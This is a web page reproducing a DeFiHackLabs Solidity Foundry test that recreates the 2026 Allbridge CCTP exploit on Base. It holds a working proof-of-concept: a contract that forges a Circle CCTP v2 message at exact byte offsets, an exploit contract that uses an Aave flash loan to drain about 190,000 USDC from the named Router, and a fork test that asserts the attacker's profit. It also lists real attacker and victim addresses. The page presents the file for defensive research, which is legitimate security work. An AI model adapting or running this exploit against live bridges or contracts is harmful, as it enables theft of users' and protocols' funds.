Public reproduction file
src/test/2026-08/AllbridgeCCTP_exp.sol
Public reproduction file for dataset entry AllbridgeCCTP.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: MIT2pragma solidity ^0.8.25;4/// forge-config: default.evm_version = "cancun"6import "forge-std/Test.sol";8// Allbridge (Core / cross-chain Router + CCTP integration) — Base9// ~190,156 USDC extracted from the Router in a single Base tx; attacker nets 189,751.554381 USDC10// after the Aave V3 flash-loan premium.11//12// Exploit tx : 0x9f906fcd8fceaa6745e8d1c004861dcfa9b5e6a893fe1e8c5d0013a4e982e6a8 (Base block 50157345)13// Forged msg tx: 0x2a88d79756b4547b33fea7b3c1420793680e2b8952bef4c65e99879e16b22140 (Polygon, ~24 days earlier)14// Attacker EOA : 0x2419432344b0B892E592b2601B98eaE702Ba360e15// Victim Router: 0xaA119F7442eCC28b9a8F236707ADA8362CFF24fF (Allbridge Core Router, CHAIN_ID 9)16// Messenger : 0xf9b710e427bf4d93598e0f80a84de22c7ad9b577 (Allbridge CCTPTokenMessenger)17// MsgTransmitter: 0x81D40F21F12A8F0E3252Bccb954D722d4c464B64 (Circle MessageTransmitterV2)18// Aave V3 Pool : 0xA238Dd80C259a72e81d7e4664a9801593F98d1c519// USDC (Base) : 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA0291320//21// Root cause (permissionless code defect, re-verified this build against the verified source of22// both contracts and against live forked state — NO key/signer/admin compromise, every call below23// is reachable by any caller):24//25// Allbridge's CCTPTokenMessenger.receiveCctpMessage(message, attestation) relays an attested26// Circle message through MessageTransmitterV2.receiveMessage and then credits27// receivedMessages[messageHash] = amount - feeExecuted28// reading `amount`, `feeExecuted`, `sourceSender` and `messageHash` DIRECTLY out of fixed byte29// offsets in the message body. It never checks that the message caused a real USDC mint / any30// balance change (confirmed in src: after the receiveMessage call it does only the subtraction31// and the mapping write). Its two guards are both attacker-satisfiable from public state:32// - destinationCaller (message[108:140]) must equal the messenger's own address — public.33// - sourceSender (message[248:280]) must equal remoteTokenMessengers[sourceChainId], where34// sourceChainId = domainToChainId[sourceDomain]. Both mappings are public getters, so the35// attacker just reads remoteTokenMessengers[5] and copies it into the forged body.36//37// Circle's MessageTransmitterV2 is a GENERIC attestation primitive: sendMessage emits an38// arbitrary caller-authored payload and Circle's off-chain attester signs THAT THE MESSAGE WAS39// SUBMITTED, not that any value moved. So anyone can author a payload shaped like a CCTP deposit,40// have it attested, and relay it here. (This off-chain attester is the one thing that cannot be41// reproduced from a fork — see the note in the test where it is modeled.)42//43// The Allbridge Router.receiveToken(...) then treats receivedTokenAmount(messageHash) > 0 as its44// ONLY solvency check (confirmed in src) and pays out amountAfterFee to the caller-chosen45// recipient. The credited messageHash is the first word of the forged message's hookData, which46// the attacker precomputes as Router._calculateMessageHash(nonce, recipient, token, amount,47// sourceChain, CHAIN_ID) for a redeem of its own choosing.48//49// Economics reproduced here (all figures match the on-chain event):50// - Router already holds 191,155.976393 USDC at block-1 (a legitimate ~191,112 USDC CCTP inflow51// had minted into it ~6s earlier). This PoC does NOT deal() that in — it is real forked state.52// - The forged message declares a 1,000,000 USDC deposit (amount 1e12 raw, normalizedAmount 1e15).53// - Router pays out 999,000 USDC (1,000,000 - 0.1% feeBp) and retains exactly 1,000 USDC.54// - The attacker flash-loans (1,000,000 - Router balance) = 808,844.023607 USDC from Aave V3 and55// pushes it into the Router so the 999,000 transfer succeeds, then repays 809,248.445619 USDC56// (404.422012 premium). Net kept: 189,751.554381 USDC.57//58// This is a from-scratch reconstruction: the forged CCTP v2 message is assembled from typed59// Solidity values at the real field offsets, the message hash is recomputed with the Router's real60// keccak(abi.encodePacked(...)) layout, and every messenger/router/Aave call is a real typed call.61// No creation-bytecode blob, no raw-calldata replay.62//63// Run: forge test --contracts src/test/2026-08/AllbridgeCCTP_exp.sol -vvv65interface IERC20 {66 function balanceOf(67 address68 ) external view returns (uint256);69 function transfer(address to, uint256 amount) external returns (bool);70 function approve(address spender, uint256 amount) external returns (bool);71}73interface IAaveV3Pool {74 function flashLoanSimple(75 address receiverAddress,76 address asset,77 uint256 amount,78 bytes calldata params,79 uint16 referralCode80 ) external;81}83interface ICCTPTokenMessenger {84 function receiveCctpMessage(bytes calldata message, bytes calldata attestation) external;85 function remoteTokenMessengers(86 uint32 chainId87 ) external view returns (bytes32);88 function domainToChainId(89 uint32 domain90 ) external view returns (uint32);91}93interface IMessageTransmitterV2 {94 function receiveMessage(bytes calldata message, bytes calldata attestation) external returns (bool);95}97interface IAllbridgeRouter {98 function receiveToken(99 uint256 normalizedAmount,100 uint256 _nonce,101 uint32 sourceChain,102 bytes32 destinationToken,103 bytes32 recipient,104 address swapAddr,105 address tokenMessengersAddr,106 uint256 minSwapAmount107 ) external;108 function CHAIN_ID() external view returns (uint32);109}111// Builds the forged Circle CCTP v2 message (header + BurnMessageV2 body + hookData) purely from112// typed values, laying each field at the exact byte offset the Allbridge messenger reads. Mirrors113// the layout documented in CCTPTokenMessenger.receiveCctpMessage.114contract ForgedCctpMessageFactory {115 // CCTP v2 message header is 148 bytes; BurnMessageV2 body starts at offset 148.116 function buildMessage(117 uint32 sourceDomain, // -> sourceChainId via domainToChainId, gates sourceSender118 uint32 destinationDomain,119 bytes32 destinationCaller, // must equal the messenger address (message[108:140])120 bytes32 burnToken,121 bytes32 mintRecipient,122 uint256 amount, // message[216:248], read verbatim as the "deposit" size123 bytes32 sourceSender, // message[248:280], must equal remoteTokenMessengers[sourceChainId]124 uint256 feeExecuted, // message[312:344]125 bytes32 messageHash // first word of hookData, message[376:408]126 )127 external128 pure129 returns (bytes memory message)130 {131 bytes memory header = abi.encodePacked(132 uint32(1), // version133 sourceDomain, // [4:8]134 destinationDomain, // [8:12]135 bytes32(uint256(0x12345)), // nonce (Circle message nonce; not read by the messenger)136 sourceSender, // sender [44:76] (cosmetic; messenger reads body sourceSender)137 mintRecipient, // recipient [76:108] (cosmetic at the transmitter layer)138 destinationCaller, // [108:140]139 uint32(1000), // minFinalityThreshold [140:144]140 uint32(2000) // finalityThresholdExecuted [144:148]141 );143 bytes memory body = abi.encodePacked(144 uint32(1), // body version body[0:4] -> [148:152]145 burnToken, // burnToken body[4:36] -> [152:184]146 mintRecipient, // mintRecipient body[36:68] -> [184:216]147 amount, // amount body[68:100] -> [216:248]148 sourceSender, // sourceSender body[100:132]-> [248:280]149 uint256(0), // maxFee body[132:164]-> [280:312]150 feeExecuted, // feeExecuted body[164:196]-> [312:344]151 uint256(0), // expirationBlock body[196:228]-> [344:376]152 messageHash // hookData[0:32] body[228:260]-> [376:408]153 );155 message = abi.encodePacked(header, body);156 require(message.length == 408, "unexpected message length");157 }159 // Circle attestation is v/r/s signatures by the enabled attester set. Its bytes are irrelevant160 // in this PoC because Circle's off-chain attester is modeled at the transmitter (see test);161 // shaped as one 65-byte signature so the typed call is well-formed.162 function buildAttestation() external pure returns (bytes memory) {163 return abi.encodePacked(bytes32(0), bytes32(0), uint8(0));164 }165}167// Named exploit contract. Takes a real Aave V3 flash loan, relays the forged message through the168// real messenger, and redeems the phantom credit through the real Router. Every external call is a169// typed call built from Solidity values.170contract AllbridgeCctpExploit {171 IERC20 internal constant USDC = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);172 IAaveV3Pool internal constant AAVE_POOL = IAaveV3Pool(0xA238Dd80C259a72e81d7e4664a9801593F98d1c5);173 ICCTPTokenMessenger internal constant MESSENGER =174 ICCTPTokenMessenger(0xf9B710E427bf4D93598E0F80A84de22C7Ad9B577);175 IAllbridgeRouter internal constant ROUTER = IAllbridgeRouter(0xaA119F7442eCC28b9a8F236707ADA8362CFF24fF);177 // Polygon's CCTP domain is 7; the messenger maps domain 7 -> Allbridge chainId 5. sourceSender178 // must equal remoteTokenMessengers[5], read live below.179 uint32 internal constant SRC_DOMAIN = 7;180 uint32 internal constant SRC_CHAIN_ID = 5;181 uint32 internal constant DST_DOMAIN = 6; // Base CCTP domain (transmitter layer)183 // Router redeem parameters. Chosen freely by the attacker; only constraint is that the hookData184 // hash matches Router._calculateMessageHash for exactly these values.185 uint256 internal constant NONCE = 12345;186 uint32 internal constant ROUTER_SRC_CHAIN = 12345;187 uint256 internal constant NORMALIZED_AMOUNT = 1e15; // -> 1,000,000 USDC (SYSTEM_DECIMALS 9 -> 6)188 uint256 internal constant GROSS_AMOUNT = 1_000_000e6; // declared deposit, raw USDC190 ForgedCctpMessageFactory internal immutable factory;192 constructor(193 ForgedCctpMessageFactory _factory194 ) {195 factory = _factory;196 }198 // Same layout as Router._calculateMessageHash: keccak(abi.encodePacked(nonce, recipient,199 // destinationToken, amount, sourceChain, destinationChain)).200 function _messageHash() internal view returns (bytes32) {201 return keccak256(202 abi.encodePacked(203 NONCE,204 bytes32(uint256(uint160(address(this)))), // recipient = this contract205 bytes32(uint256(uint160(address(USDC)))), // destinationToken = USDC206 NORMALIZED_AMOUNT,207 ROUTER_SRC_CHAIN,208 ROUTER.CHAIN_ID()209 )210 );211 }213 function attack() external {214 // Flash-loan exactly the shortfall between the declared deposit and the Router's real215 // balance, so the Router ends holding precisely the 0.1% fee.216 uint256 shortfall = GROSS_AMOUNT - USDC.balanceOf(address(ROUTER));217 AAVE_POOL.flashLoanSimple(address(this), address(USDC), shortfall, "", 0);218 }220 function executeOperation(221 address, /*asset*/222 uint256 amount,223 uint256 premium,224 address, /*initiator*/225 bytes calldata /*params*/226 )227 external228 returns (bool)229 {230 // 1. Top the Router up to the declared 1,000,000 USDC so its later payout transfer succeeds.231 USDC.transfer(address(ROUTER), amount);233 // 2. Forge and relay the phantom deposit through the real messenger.234 bytes32 sourceSender = MESSENGER.remoteTokenMessengers(SRC_CHAIN_ID);235 bytes memory message = factory.buildMessage(236 SRC_DOMAIN,237 DST_DOMAIN,238 bytes32(uint256(uint160(address(MESSENGER)))), // destinationCaller == messenger239 bytes32(uint256(uint160(address(USDC)))), // burnToken240 bytes32(uint256(uint160(address(this)))), // mintRecipient (cosmetic)241 GROSS_AMOUNT, // amount credited verbatim242 sourceSender,243 0, // feeExecuted244 _messageHash()245 );246 bytes memory attestation = factory.buildAttestation();247 MESSENGER.receiveCctpMessage(message, attestation);249 // 3. Redeem the phantom credit; Router pays amountAfterFee (999,000 USDC) to this contract.250 ROUTER.receiveToken(251 NORMALIZED_AMOUNT,252 NONCE,253 ROUTER_SRC_CHAIN,254 bytes32(uint256(uint160(address(USDC)))), // destinationToken == intermediary (no swap)255 bytes32(uint256(uint160(address(this)))), // recipient == this (also authorizes the call)256 address(0), // swapAddr (unused, no swap)257 address(MESSENGER),258 0 // minSwapAmount259 );261 // 4. Repay the flash loan; the remainder is the net profit.262 USDC.approve(address(AAVE_POOL), amount + premium);263 return true;264 }265}267contract AllbridgeCCTP_exp is Test {268 IERC20 internal constant USDC = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);269 address internal constant ROUTER = 0xaA119F7442eCC28b9a8F236707ADA8362CFF24fF;270 address internal constant MESSAGE_TRANSMITTER = 0x81D40F21F12A8F0E3252Bccb954D722d4c464B64;272 uint256 internal constant EXPLOIT_BLOCK = 50157345;274 ForgedCctpMessageFactory internal factory;275 AllbridgeCctpExploit internal exploit;277 function setUp() public {278 vm.createSelectFork("base", EXPLOIT_BLOCK - 1);279 factory = new ForgedCctpMessageFactory();280 exploit = new AllbridgeCctpExploit(factory);281 }283 function testExploit() public {284 // Precondition: the Router holds the ~191k victim balance; the attacker holds nothing.285 uint256 routerBefore = USDC.balanceOf(ROUTER);286 uint256 exploitBefore = USDC.balanceOf(address(exploit));287 emit log_named_decimal_uint("Router USDC before (drainable)", routerBefore, 6);288 assertEq(exploitBefore, 0, "attacker should start empty");289 assertGt(routerBefore, 190_000e6, "Router should hold the ~191k victim balance at block-1");291 // Model the ONE dependency a fork cannot reproduce: Circle's off-chain attester. Its292 // MessageTransmitterV2.receiveMessage signs only that a message was submitted, so for any293 // caller-authored payload it returns true. This is the exact primitive the attack abuses;294 // no on-chain Allbridge state is shortcut — the messenger and Router still execute in full.295 vm.mockCall(296 MESSAGE_TRANSMITTER,297 abi.encodeWithSelector(IMessageTransmitterV2.receiveMessage.selector),298 abi.encode(true)299 );301 exploit.attack();303 uint256 routerAfter = USDC.balanceOf(ROUTER);304 uint256 exploitAfter = USDC.balanceOf(address(exploit));306 uint256 profit = exploitAfter - exploitBefore;307 uint256 drained = routerBefore - routerAfter;308 emit log_named_decimal_uint("Router USDC after", routerAfter, 6);309 emit log_named_decimal_uint("Router USDC drained", drained, 6);310 emit log_named_decimal_uint("Attacker net USDC profit", profit, 6);312 // Router keeps exactly the 1,000 USDC (0.1%) fee; the 999,000 payout was backed by no real313 // deposit, so the ~190,156 USDC it lost was its own (the whole 191,156 minus the fee).314 assertEq(routerAfter, 1_000e6, "Router should retain exactly the 1,000 USDC (0.1%) fee");315 assertApproxEqAbs(drained, 190_155_976393, 1e6, "drained != the ~190,156 USDC extracted");316 // Net after the 404.42 USDC Aave premium; on-chain figure was 189,751.554381 USDC.317 assertApproxEqAbs(profit, 189_751_554381, 1e6, "net profit diverged from on-chain ~189,752 USDC");318 assertGt(profit, 0, "no profit extracted");319 }320}Analysis
Dataset entry
Public Foundry test for “AllbridgeCCTP” (2026-08-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-08/AIC_exp.solSame month in the dataset · 174 lines
- src/test/2026-08/AjnaFinance_exp.solSame month in the dataset · 157 lines
- src/test/2026-08/ArrakisGUNI_exp.solSame month in the dataset · 170 lines
- src/test/2026-08/BalancerV1BPool_exp.solSame month in the dataset · 230 lines
- src/test/2026-08/CashCowCoin_exp.solSame month in the dataset · 183 lines
- src/test/2026-08/EnjinCryptoItems_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/FHToken_exp.solSame month in the dataset · 193 lines
- src/test/2026-08/FloatProtocol_exp.solSame month in the dataset · 235 lines
- src/test/2026-08/ReflexerGEB_exp.solSame month in the dataset · 137 lines
- src/test/2026-08/SandboxOFT_exp.solSame month in the dataset · 158 lines
- src/test/2026-08/StrongBlock_exp.solSame month in the dataset · 246 lines
- src/test/2026-08/TermFinance_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/UnistreetLaunchpad_exp.solSame month in the dataset · 221 lines
- src/test/2026-08/USM_exp.solSame month in the dataset · 121 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x2419432344b0b892e592b2601b98eae702ba360e
- Victim
0xaa119f7442ecc28b9a8f236707ada8362cff24ff
File record
- Name
- AllbridgeCCTP
- Path
- src/test/2026-08/AllbridgeCCTP_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 62178cf2c6491598e69c739891bfad2a6ed913cd
- Language
- Solidity
- Size
- 321 lines
- Date
- 2026-08-19
- Licence
- file header MIT; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-08/AllbridgeCCTP_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 62178cf2c6491598e69c739891bfad2a6ed913cd, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.